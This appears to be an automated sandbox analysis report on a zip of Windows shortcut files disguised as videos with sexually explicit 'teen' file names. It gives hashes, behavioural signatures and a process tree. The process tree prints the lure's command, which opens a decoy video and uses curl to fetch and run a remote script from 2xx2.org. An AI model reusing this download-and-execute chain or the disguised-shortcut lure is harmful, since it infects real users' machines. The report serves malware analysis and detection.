Overview
overview
10Static
static
1498780a6-a...39.zip
windows10-2004-x64
1498780a6-a...39.zip
windows11-ltsc_2024-x64
1PACK8/t...p4.lnk
windows10-2004-x64
10PACK8/t...p4.lnk
windows11-ltsc_2024-x64
10PACK8/t...p4.lnk
windows10-2004-x64
10PACK8/t...p4.lnk
windows11-ltsc_2024-x64
10PACK8/t...p4.lnk
windows10-2004-x64
10PACK8/t...p4.lnk
windows11-ltsc_2024-x64
8PACK8/t...p4.lnk
windows10-2004-x64
7PACK8/t...p4.lnk
windows11-ltsc_2024-x64
6PACK8/t...p4.lnk
windows10-2004-x64
8PACK8/t...p4.lnk
windows11-ltsc_2024-x64
8ㅤㅤ/desktop.ini
windows10-2004-x64
1ㅤㅤ/desktop.ini
windows11-ltsc_2024-x64
1ㅤㅤ/tee...be.mp4
windows10-2004-x64
6ㅤㅤ/tee...be.mp4
windows11-ltsc_2024-x64
1ㅤㅤ/tee...ss.mp4
windows10-2004-x64
6ㅤㅤ/tee...ss.mp4
windows11-ltsc_2024-x64
1ㅤㅤ/tee...yf.mp4
windows10-2004-x64
6ㅤㅤ/tee...yf.mp4
windows11-ltsc_2024-x64
1ㅤㅤ/tee...es.mp4
windows10-2004-x64
6ㅤㅤ/tee...es.mp4
windows11-ltsc_2024-x64
1ㅤㅤ/tee...ad.mp4
windows10-2004-x64
6ㅤㅤ/tee...ad.mp4
windows11-ltsc_2024-x64
1Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/06/2026, 04:27
Static task
static1
Behavioral task
behavioral1
Sample
498780a6-a6d6-49e0-a835-5ac234282139.zip
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral2
Sample
498780a6-a6d6-49e0-a835-5ac234282139.zip
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral3
Sample
PACK8/teenSnapchatdihhfrombe.mp4.lnk
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral4
Sample
PACK8/teenSnapchatdihhfrombe.mp4.lnk
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral5
Sample
PACK8/teenpussyfeetandass.mp4.lnk
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral6
Sample
PACK8/teenpussyfeetandass.mp4.lnk
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral7
Sample
PACK8/teenreversecowgirlboyf.mp4.lnk
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral8
Sample
PACK8/teenreversecowgirlboyf.mp4.lnk
Resource
win11ltsc2024-20260617-en
windows11-ltsc_2024-x64
Behavioral task
behavioral9
Sample
PACK8/teenslutdroppanties.mp4.lnk
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral10
Sample
PACK8/teenslutdroppanties.mp4.lnk
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral11
Sample
PACK8/teenslutpussyspread.mp4.lnk
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral12
Sample
PACK8/teenslutpussyspread.mp4.lnk
Resource
win11ltsc2024-20260617-en
windows11-ltsc_2024-x64
Behavioral task
behavioral13
Sample
ㅤㅤ/desktop.ini
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral14
Sample
ㅤㅤ/desktop.ini
Resource
win11ltsc2024-20260617-en
windows11-ltsc_2024-x64
Behavioral task
behavioral15
Sample
ㅤㅤ/teenSnapchatdihhfrombe.mp4
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral16
Sample
ㅤㅤ/teenSnapchatdihhfrombe.mp4
Resource
win11ltsc2024-20260617-en
windows11-ltsc_2024-x64
Behavioral task
behavioral17
Sample
ㅤㅤ/teenpussyfeetandass.mp4
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral18
Sample
ㅤㅤ/teenpussyfeetandass.mp4
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral19
Sample
ㅤㅤ/teenreversecowgirlboyf.mp4
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral20
Sample
ㅤㅤ/teenreversecowgirlboyf.mp4
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral21
Sample
ㅤㅤ/teenslutdroppanties.mp4
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral22
Sample
ㅤㅤ/teenslutdroppanties.mp4
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
Behavioral task
behavioral23
Sample
ㅤㅤ/teenslutpussyspread.mp4
Resource
win10v2004-20260513-en
windows10-2004-x64
Behavioral task
behavioral24
Sample
ㅤㅤ/teenslutpussyspread.mp4
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
General
- Target PACK8/teenslutdroppanties.mp4.lnk
- Size 691B
- Sample260626-e3f1rahw6l
- SHA256 f14d07f85c7ef6360e383d715612471ae9c1fabf0e0b7af69580ad9343b442c7
- MD5 69120f4ce1f2fd8e791f94c8cf1b7432
- SHA1 125f438fda3481a84748274f1d0ff9148427b5e7
- SHA512 ea1583bcf02bbc4f4a08c0482457dd6e33aa6d5a9989feb5e735496a4c7372f65eb689876f27742effc13cfbc224c4590d825b321c036b59b4fa9bb149dd6e30
- TLSH T12501284032AD0718D3B39A3B0C2556214A36B606EE32DF6C03D0858C9869144ED29F2A
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Drops desktop.ini file(s) 7 IoCs
description ioc Process File opened for modification C:\Users\Admin\Pictures\desktop.ini wmplayer.exe File opened for modification C:\Users\Public\Pictures\desktop.ini wmplayer.exe File opened for modification C:\Users\Admin\Music\desktop.ini wmplayer.exe File opened for modification C:\Users\Public\desktop.ini wmplayer.exe File opened for modification C:\Users\Public\Music\desktop.ini wmplayer.exe File opened for modification C:\Users\Admin\Videos\desktop.ini wmplayer.exe File opened for modification C:\Users\Public\Videos\desktop.ini wmplayer.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: unregmp2.exe File opened (read-only) \??\M: wmplayer.exe File opened (read-only) \??\S: wmplayer.exe File opened (read-only) \??\Y: wmplayer.exe File opened (read-only) \??\Z: wmplayer.exe File opened (read-only) \??\D: unregmp2.exe File opened (read-only) \??\S: unregmp2.exe File opened (read-only) \??\I: wmplayer.exe File opened (read-only) \??\K: wmplayer.exe File opened (read-only) \??\L: wmplayer.exe File opened (read-only) \??\V: wmplayer.exe File opened (read-only) \??\B: unregmp2.exe File opened (read-only) \??\I: unregmp2.exe File opened (read-only) \??\G: wmplayer.exe File opened (read-only) \??\N: wmplayer.exe File opened (read-only) \??\K: unregmp2.exe File opened (read-only) \??\T: unregmp2.exe File opened (read-only) \??\A: wmplayer.exe File opened (read-only) \??\D: wmplayer.exe File opened (read-only) \??\A: unregmp2.exe File opened (read-only) \??\L: unregmp2.exe File opened (read-only) \??\B: wmplayer.exe File opened (read-only) \??\H: wmplayer.exe File opened (read-only) \??\Q: wmplayer.exe File opened (read-only) \??\R: wmplayer.exe File opened (read-only) \??\W: wmplayer.exe File opened (read-only) \??\J: unregmp2.exe File opened (read-only) \??\M: unregmp2.exe File opened (read-only) \??\O: unregmp2.exe File opened (read-only) \??\Q: unregmp2.exe File opened (read-only) \??\J: wmplayer.exe File opened (read-only) \??\T: wmplayer.exe File opened (read-only) \??\U: wmplayer.exe File opened (read-only) \??\X: wmplayer.exe File opened (read-only) \??\N: unregmp2.exe File opened (read-only) \??\P: unregmp2.exe File opened (read-only) \??\U: unregmp2.exe File opened (read-only) \??\V: unregmp2.exe File opened (read-only) \??\W: unregmp2.exe File opened (read-only) \??\X: unregmp2.exe File opened (read-only) \??\Y: unregmp2.exe File opened (read-only) \??\R: unregmp2.exe File opened (read-only) \??\O: wmplayer.exe File opened (read-only) \??\P: wmplayer.exe File opened (read-only) \??\G: unregmp2.exe File opened (read-only) \??\H: unregmp2.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wmplayer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language unregmp2.exe - Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2289519114-2956110270-1748446682-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2289519114-2956110270-1748446682-1000\{3FB534EB-ED78-4509-B463-15D604708332} wmplayer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer wmplayer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}" wmplayer.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 6112 unregmp2.exe Token: SeCreatePagefilePrivilege 6112 unregmp2.exe Token: SeShutdownPrivilege 2508 wmplayer.exe Token: SeCreatePagefilePrivilege 2508 wmplayer.exe Token: SeShutdownPrivilege 2508 wmplayer.exe Token: SeCreatePagefilePrivilege 2508 wmplayer.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2508 wmplayer.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 964 wrote to memory of 1360 964 cmd.exe 90 PID 2508 wrote to memory of 3816 2508 wmplayer.exe 92 PID 3816 wrote to memory of 6112 3816 unregmp2.exe 93 PID 1360 wrote to memory of 4968 1360 cmd.exe 96
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutdroppanties.mp4.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenslutdroppanties.mp4)&(curl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://2xx2.org 106)2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Windows\system32\curl.execurl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵PID:4968
-
-
-
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\SysWOW64\unregmp2.exe"C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\system32\unregmp2.exe"C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT3⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:6112
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost1⤵
- Drops file in Windows directory
PID:1912
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
- Size 384KB
- SHA256 c84da8ff92a8fa9c14fb84d791544c2cd53b82cdb08a301ce96cd28819878fb4
- MD5 e721bdf2b5c4168d3a872caef8d99228
- SHA1 d1b65a952ea70a5e2e11aca21e39d33723f07181
- SHA512 2996bd7746670a2f90932b6614ea9a886338a7cf46ee77671873f4db44f43a66e83567be2ef7e0e948aca35e8f81699f2134c243caf6f76dc649f9cb02731a0a
- SSDEEP 768:+7KGVp3zT13VuI61HOdrrA9abhr1vfEwPRzitFrzcooJImdba5aSt3MjxngbCjPC:89tQeoVYo
- TLSH T1BF841037E560A098DB3C75B1E2AC5B4CBD72250B11E006422FB4B57E7A237D4CA4F5E6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
- Size 1024KB
- SHA256 6abde22109fb84b91dfef8e75c821b8370b496240d2a3fcc89110e42d736ceae
- MD5 47752367ca35388a383a4f7141e712fc
- SHA1 f954b80b8b0349746df373fc6b3589c72c7aeab4
- SHA512 d97d7ca14128234abb1caef1eabb7277622da993408d9ba6ecebd6a21b555425ff63ec57019dacf70f9e7a1044027d2795896cb7a9c2c1ccffd679cfa386aa2b
- SSDEEP 768:40aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdbav:mZP2tFP3vqY8AqEMTTaBacg
- TLSH T1BD258437D190B0C5CE2CB171E9ED8F09BA33A10B11A052465FF8A57E7A533D99D0B1EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
- Size 68KB
- SHA256 93240b6a890dcfafe98b298b2db9f5096ae7f26aaf9294b5754cdbaf8649e877
- MD5 bddea10d89a69b532e0287eb0abfffc9
- SHA1 773905dab56650fecf4659fcf7a45ac64217c6ea
- SHA512 cb76f01e801de9cb6c381342356603bd3f47ce5e80d92883a3d7f47b37f98b15e7bc4ed3a031e4d08d3e242f3ff363c3e18c61a1c36e1ba30417477b3a212eb1
- SSDEEP 96:36N1qfoNltSNXt3UMUstH7Xt0UMbstjUMlst8OXtNL2taLXtetZAtHt:KN1mo+nCnGna
- TLSH T19F631810A7E88659F3FB2F306AF6651B2F7A34925E39E50C0A50424E4DB1F1CDD30B66
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
- Size 9KB
- SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
- MD5 7050d5ae8acfbe560fa11073fef8185d
- SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
- SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
- SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
- TLSH T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
- Size 1KB
- SHA256 8ed54b6dba5d6f32bc1a414291db6f9cb64ff355975534ad1efc08da02b68824
- MD5 6dcb911c913641d3d91e7b30f8b767b1
- SHA1 97f94490b4b7595ca294b6e4eaed9f525be3055e
- SHA512 7d2e5d98cf7a2da805c91d4cf5e983f38e68931df9868845d7fa5f13d413fd701bab1a8019a988f8d9032f654442c246a40901a73ead53ef2aa16965a9ca1745
- TLSH T19F215A574A0AF5B1CD6247A359CC8A2673BAA7CE5364D015738AA41E880213E233D17D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutdroppanties.mp4.lnk
- Size 1KB
- SHA256 94e8c1f40f0152d90c383e16c1f8826a3aa7d7f2e0a8f22fed78d5c917ef1fd9
- MD5 4e6d175ee2d241c4e1b16c0623b5bd68
- SHA1 7487390289b5f123c700cb742e83ca855413711f
- SHA512 4ad0c1e3f6c2491a3d44e9a8b748dae0958be5db5f6b378ac891a231dbbbd7e9776ec0fd2baf72ba7976bc45d4e4c096e260db30f275a82a0006c89c8990d7d2
- TLSH T13021940826991714C3F3CD3788AA57314137B905FA728F1D02D055C86C4E250FC25F2D
- MD5 SHA1 SHA512 TLSH